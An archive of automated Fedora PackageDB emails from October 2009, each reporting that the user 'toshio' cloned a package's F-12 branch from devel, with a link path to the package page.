From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:18 +0000
Subject: [pkgdb] FUR F-12 cloned from devel
Message-ID: <20091003155918.DDA7110F8EE@bastion2.fedora.phx.redhat.com>

toshio cloned FUR F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/FUR



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:20 +0000
Subject: [pkgdb] Falcon F-12 cloned from devel
Message-ID: <20091003155920.6AFE310F8BD@bastion2.fedora.phx.redhat.com>

toshio cloned Falcon F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Falcon



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:28 +0000
Subject: [pkgdb] GConf2 F-12 cloned from devel
Message-ID: <20091003155928.86CDB10F8C1@bastion2.fedora.phx.redhat.com>

toshio cloned GConf2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GConf2



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:30 +0000
Subject: [pkgdb] GLC_Player F-12 cloned from devel
Message-ID: <20091003155930.3C7BD10F8F1@bastion2.fedora.phx.redhat.com>

toshio cloned GLC_Player F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GLC_Player



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:31 +0000
Subject: [pkgdb] GLC_lib F-12 cloned from devel
Message-ID: <20091003155931.DE1E010F8F2@bastion2.fedora.phx.redhat.com>

toshio cloned GLC_lib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GLC_lib



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:36 +0000
Subject: [pkgdb] GMT-coastlines F-12 cloned from devel
Message-ID: <20091003155936.81B4310F8C6@bastion2.fedora.phx.redhat.com>

toshio cloned GMT-coastlines F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GMT-coastlines



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:38 +0000
Subject: [pkgdb] GREYCstoration F-12 cloned from devel
Message-ID: <20091003155938.B071110F8F5@bastion2.fedora.phx.redhat.com>

toshio cloned GREYCstoration F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GREYCstoration



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:40 +0000
Subject: [pkgdb] GeoIP F-12 cloned from devel
Message-ID: <20091003155940.4FF1010F8F9@bastion2.fedora.phx.redhat.com>

toshio cloned GeoIP F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GeoIP



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:43 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:43 +0000
Subject: [pkgdb] Glide3-libGL F-12 cloned from devel
Message-ID: <20091003155943.D34B510F8FC@bastion2.fedora.phx.redhat.com>

toshio cloned Glide3-libGL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Glide3-libGL



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:45 +0000
Subject: [pkgdb] GraphicsMagick F-12 cloned from devel
Message-ID: <20091003155945.9723610F8B1@bastion2.fedora.phx.redhat.com>

toshio cloned GraphicsMagick F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GraphicsMagick



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:47 +0000
Subject: [pkgdb] GtkAda F-12 cloned from devel
Message-ID: <20091003155947.319CC10F8FD@bastion2.fedora.phx.redhat.com>

toshio cloned GtkAda F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GtkAda



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:50 +0000
Subject: [pkgdb] Hermes F-12 cloned from devel
Message-ID: <20091003155950.84B4C10F8DC@bastion2.fedora.phx.redhat.com>

toshio cloned Hermes F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Hermes



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:59 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:59 +0000
Subject: [pkgdb] Io-language F-12 cloned from devel
Message-ID: <20091003155959.28CB010F907@bastion2.fedora.phx.redhat.com>

toshio cloned Io-language F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Io-language



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:00 +0000
Subject: [pkgdb] JSDoc F-12 cloned from devel
Message-ID: <20091003160000.DEDC910F8E0@bastion2.fedora.phx.redhat.com>

toshio cloned JSDoc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/JSDoc



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:06 +0000
Subject: [pkgdb] Judy F-12 cloned from devel
Message-ID: <20091003160006.D9DFF10F8CC@bastion2.fedora.phx.redhat.com>

toshio cloned Judy F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Judy



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:12 +0000
Subject: [pkgdb] KoboDeluxe F-12 cloned from devel
Message-ID: <20091003160012.780CA10F8AB@bastion2.fedora.phx.redhat.com>

toshio cloned KoboDeluxe F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/KoboDeluxe



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:20 +0000
Subject: [pkgdb] LabPlot F-12 cloned from devel
Message-ID: <20091003160020.2353A10F8AC@bastion2.fedora.phx.redhat.com>

toshio cloned LabPlot F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/LabPlot



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:24 +0000
Subject: [pkgdb] LinLog F-12 cloned from devel
Message-ID: <20091003160025.04B6910F8C0@bastion2.fedora.phx.redhat.com>

toshio cloned LinLog F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/LinLog



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:33 +0000
Subject: [pkgdb] Macaulay2 F-12 cloned from devel
Message-ID: <20091003160033.E758E10F8EF@bastion2.fedora.phx.redhat.com>

toshio cloned Macaulay2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Macaulay2



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:36 +0000
Subject: [pkgdb] Maelstrom F-12 cloned from devel
Message-ID: <20091003160036.6B1A010F8F1@bastion2.fedora.phx.redhat.com>

toshio cloned Maelstrom F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Maelstrom



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:39 +0000
Subject: [pkgdb] MagicPoint F-12 cloned from devel
Message-ID: <20091003160039.B7FEB10F8D4@bastion2.fedora.phx.redhat.com>

toshio cloned MagicPoint F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MagicPoint



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:11 +0000
Subject: [pkgdb] E F-12 cloned from devel
Message-ID: <20091003155911.72B4010F8E0@bastion2.fedora.phx.redhat.com>

toshio cloned E F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/E



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:42 +0000
Subject: [pkgdb] CTL F-12 cloned from devel
Message-ID: <20091003155842.58FD710F8CE@bastion2.fedora.phx.redhat.com>

toshio cloned CTL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/CTL



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:33 +0000
Subject: [pkgdb] GMT F-12 cloned from devel
Message-ID: <20091003155934.0BE3D10F8F3@bastion2.fedora.phx.redhat.com>

toshio cloned GMT F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/GMT



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:41 +0000
Subject: [pkgdb] Glide3 F-12 cloned from devel
Message-ID: <20091003155942.1263610F8D8@bastion2.fedora.phx.redhat.com>

toshio cloned Glide3 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Glide3



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:48 +0000
Subject: [pkgdb] HamFax F-12 cloned from devel
Message-ID: <20091003155948.D8D5C10F8FE@bastion2.fedora.phx.redhat.com>

toshio cloned HamFax F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/HamFax



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:03 +0000
Subject: [pkgdb] 0xFFFF F-12 cloned from devel
Message-ID: <20091003155804.0AD2910F800@bastion2.fedora.phx.redhat.com>

toshio cloned 0xFFFF F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/0xFFFF



From pkgdb at fedoraproject.org  Sat Oct  3 15:41:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:41:33 +0000
Subject: [pkgdb] 0xFFFF F-12 cloned from devel
Message-ID: <20091003154133.6021810F86A@bastion2.fedora.phx.redhat.com>

toshio cloned 0xFFFF F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/0xFFFF



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:56 +0000
Subject: [pkgdb] Cython F-12 cloned from devel
Message-ID: <20091003155856.63B9510F8A8@bastion2.fedora.phx.redhat.com>

toshio cloned Cython F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Cython



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:34 +0000
Subject: [pkgdb] BibTool F-12 cloned from devel
Message-ID: <20091003155835.0E32F10F8C7@bastion2.fedora.phx.redhat.com>

toshio cloned BibTool F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/BibTool



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:57 +0000
Subject: [pkgdb] DMitry F-12 cloned from devel
Message-ID: <20091003155857.D88CE10F8C5@bastion2.fedora.phx.redhat.com>

toshio cloned DMitry F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/DMitry



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:49 +0000
Subject: [pkgdb] MegaMek F-12 cloned from devel
Message-ID: <20091003160049.B897B10F8D7@bastion2.fedora.phx.redhat.com>

toshio cloned MegaMek F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MegaMek



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:14 +0000
Subject: [pkgdb] EekBoek F-12 cloned from devel
Message-ID: <20091003155914.8A97C10F8CC@bastion2.fedora.phx.redhat.com>

toshio cloned EekBoek F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/EekBoek



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:28 +0000
Subject: [pkgdb] LuxRender F-12 cloned from devel
Message-ID: <20091003160028.42A2310F8ED@bastion2.fedora.phx.redhat.com>

toshio cloned LuxRender F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/LuxRender



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:31 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:31 +0000
Subject: [pkgdb] MAKEDEV F-12 cloned from devel
Message-ID: <20091003160031.3763F10F8C4@bastion2.fedora.phx.redhat.com>

toshio cloned MAKEDEV F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MAKEDEV



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:05 +0000
Subject: [pkgdb] DivFix++ F-12 cloned from devel
Message-ID: <20091003155906.0AAD810F8B4@bastion2.fedora.phx.redhat.com>

toshio cloned DivFix++ F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/DivFix++



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:52 +0000
Subject: [pkgdb] HippoDraw F-12 cloned from devel
Message-ID: <20091003155952.6D16510F902@bastion2.fedora.phx.redhat.com>

toshio cloned HippoDraw F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/HippoDraw



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:00 +0000
Subject: [pkgdb] DeviceKit F-12 cloned from devel
Message-ID: <20091003155901.5B3F510F8B1@bastion2.fedora.phx.redhat.com>

toshio cloned DeviceKit F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/DeviceKit



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:57 +0000
Subject: [pkgdb] Inventor F-12 cloned from devel
Message-ID: <20091003155957.34CD210F894@bastion2.fedora.phx.redhat.com>

toshio cloned Inventor F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Inventor



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:25 +0000
Subject: [pkgdb] AcetoneISO F-12 cloned from devel
Message-ID: <20091003155825.E6E3910F8C3@bastion2.fedora.phx.redhat.com>

toshio cloned AcetoneISO F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/AcetoneISO



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:22 +0000
Subject: [pkgdb] FlightGear F-12 cloned from devel
Message-ID: <20091003155922.462AC10F8AC@bastion2.fedora.phx.redhat.com>

toshio cloned FlightGear F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/FlightGear



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:14 +0000
Subject: [pkgdb] L-function F-12 cloned from devel
Message-ID: <20091003160014.6B38210F8E1@bastion2.fedora.phx.redhat.com>

toshio cloned L-function F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/L-function



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:55 +0000
Subject: [pkgdb] ImageMagick F-12 cloned from devel
Message-ID: <20091003155955.2839010F8DE@bastion2.fedora.phx.redhat.com>

toshio cloned ImageMagick F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ImageMagick



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:27 +0000
Subject: [pkgdb] AcetoneISO2 F-12 cloned from devel
Message-ID: <20091003155827.F31CC10F895@bastion2.fedora.phx.redhat.com>

toshio cloned AcetoneISO2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/AcetoneISO2



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:54 +0000
Subject: [pkgdb] CriticalMass F-12 cloned from devel
Message-ID: <20091003155854.64D7E10F895@bastion2.fedora.phx.redhat.com>

toshio cloned CriticalMass F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/CriticalMass



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:15 +0000
Subject: [pkgdb] ElectricFence F-12 cloned from devel
Message-ID: <20091003155916.134E410F8EB@bastion2.fedora.phx.redhat.com>

toshio cloned ElectricFence F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ElectricFence



From pkgdb at fedoraproject.org  Sat Oct  3 15:37:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:37:46 +0000
Subject: [pkgdb] NetworkManager F-12 cloned from devel
Message-ID: <20091003153746.A96D710F800@bastion2.fedora.phx.redhat.com>

toshio cloned NetworkManager F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NetworkManager



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:26 +0000
Subject: [pkgdb] FlightGear-data F-12 cloned from devel
Message-ID: <20091003155926.07DB010F8D2@bastion2.fedora.phx.redhat.com>

toshio cloned FlightGear-data F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/FlightGear-data



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:04 +0000
Subject: [pkgdb] DeviceKit-power F-12 cloned from devel
Message-ID: <20091003155904.78D9A10F8DC@bastion2.fedora.phx.redhat.com>

toshio cloned DeviceKit-power F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/DeviceKit-power



From pkgdb at fedoraproject.org  Sat Oct  3 15:58:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:58:49 +0000
Subject: [pkgdb] CodeAnalyst-gui F-12 cloned from devel
Message-ID: <20091003155849.05C6410F8D2@bastion2.fedora.phx.redhat.com>

toshio cloned CodeAnalyst-gui F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/CodeAnalyst-gui



From pkgdb at fedoraproject.org  Sat Oct  3 15:59:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 15:59:24 +0000
Subject: [pkgdb] FlightGear-Atlas F-12 cloned from devel
Message-ID: <20091003155924.532F010F8BF@bastion2.fedora.phx.redhat.com>

toshio cloned FlightGear-Atlas F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/FlightGear-Atlas



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:51 +0000
Subject: [pkgdb] MiniCopier F-12 cloned from devel
Message-ID: <20091003160051.C252410F8F3@bastion2.fedora.phx.redhat.com>

toshio cloned MiniCopier F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MiniCopier



From pkgdb at fedoraproject.org  Sat Oct  3 16:00:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:00:54 +0000
Subject: [pkgdb] Miro F-12 cloned from devel
Message-ID: <20091003160054.6DA6710F8FB@bastion2.fedora.phx.redhat.com>

toshio cloned Miro F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Miro



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:05 +0000
Subject: [pkgdb] MySQL-python F-12 cloned from devel
Message-ID: <20091003160105.F22DA10F90E@bastion2.fedora.phx.redhat.com>

toshio cloned MySQL-python F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MySQL-python



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:19 +0000
Subject: [pkgdb] NetworkManager F-12 cloned from devel
Message-ID: <20091003160119.4EAFC10F911@bastion2.fedora.phx.redhat.com>

toshio cloned NetworkManager F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NetworkManager



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:21 +0000
Subject: [pkgdb] NetworkManager-openconnect F-12 cloned from devel
Message-ID: <20091003160121.2F29A10F910@bastion2.fedora.phx.redhat.com>

toshio cloned NetworkManager-openconnect F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NetworkManager-openconnect



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:23 +0000
Subject: [pkgdb] NetworkManager-openvpn F-12 cloned from devel
Message-ID: <20091003160123.E822D10F907@bastion2.fedora.phx.redhat.com>

toshio cloned NetworkManager-openvpn F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NetworkManager-openvpn



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:27 +0000
Subject: [pkgdb] NetworkManager-vpnc F-12 cloned from devel
Message-ID: <20091003160127.B514510F913@bastion2.fedora.phx.redhat.com>

toshio cloned NetworkManager-vpnc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NetworkManager-vpnc



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:34 +0000
Subject: [pkgdb] ORBit2 F-12 cloned from devel
Message-ID: <20091003160134.E663B10F8CF@bastion2.fedora.phx.redhat.com>

toshio cloned ORBit2 F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ORBit2



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:38 +0000
Subject: [pkgdb] OpenEXR F-12 cloned from devel
Message-ID: <20091003160139.03BA810F916@bastion2.fedora.phx.redhat.com>

toshio cloned OpenEXR F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/OpenEXR



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:40 +0000
Subject: [pkgdb] OpenEXR_CTL F-12 cloned from devel
Message-ID: <20091003160140.9FFBE10F91A@bastion2.fedora.phx.redhat.com>

toshio cloned OpenEXR_CTL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/OpenEXR_CTL



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:42 +0000
Subject: [pkgdb] OpenEXR_Viewers F-12 cloned from devel
Message-ID: <20091003160143.2B87310F8C0@bastion2.fedora.phx.redhat.com>

toshio cloned OpenEXR_Viewers F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/OpenEXR_Viewers



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:47 +0000
Subject: [pkgdb] OpenSceneGraph F-12 cloned from devel
Message-ID: <20091003160147.47B0310F8D2@bastion2.fedora.phx.redhat.com>

toshio cloned OpenSceneGraph F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/OpenSceneGraph



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:51 +0000
Subject: [pkgdb] Panini F-12 cloned from devel
Message-ID: <20091003160151.5FD2110F922@bastion2.fedora.phx.redhat.com>

toshio cloned Panini F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Panini



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:53 +0000
Subject: [pkgdb] PerceptualDiff F-12 cloned from devel
Message-ID: <20091003160153.8D07A10F924@bastion2.fedora.phx.redhat.com>

toshio cloned PerceptualDiff F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PerceptualDiff



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:55 +0000
Subject: [pkgdb] Perlbal F-12 cloned from devel
Message-ID: <20091003160155.36E9110F8ED@bastion2.fedora.phx.redhat.com>

toshio cloned Perlbal F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Perlbal



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:58 +0000
Subject: [pkgdb] PgsLookAndFeel F-12 cloned from devel
Message-ID: <20091003160158.E6AF010F8EC@bastion2.fedora.phx.redhat.com>

toshio cloned PgsLookAndFeel F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PgsLookAndFeel



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:01 +0000
Subject: [pkgdb] PolicyKit-olpc F-12 cloned from devel
Message-ID: <20091003160202.0393510F92B@bastion2.fedora.phx.redhat.com>

toshio cloned PolicyKit-olpc F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PolicyKit-olpc



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:03 +0000
Subject: [pkgdb] Pound F-12 cloned from devel
Message-ID: <20091003160203.BE62810F92C@bastion2.fedora.phx.redhat.com>

toshio cloned Pound F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/Pound



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:07 +0000
Subject: [pkgdb] PyKDE F-12 cloned from devel
Message-ID: <20091003160207.2361110F92E@bastion2.fedora.phx.redhat.com>

toshio cloned PyKDE F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyKDE



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:09 +0000
Subject: [pkgdb] PyOpenGL F-12 cloned from devel
Message-ID: <20091003160209.0400110F92F@bastion2.fedora.phx.redhat.com>

toshio cloned PyOpenGL F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyOpenGL



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:11 +0000
Subject: [pkgdb] PyQt F-12 cloned from devel
Message-ID: <20091003160211.1A8BD10F8F2@bastion2.fedora.phx.redhat.com>

toshio cloned PyQt F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PyQt



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:14 2009
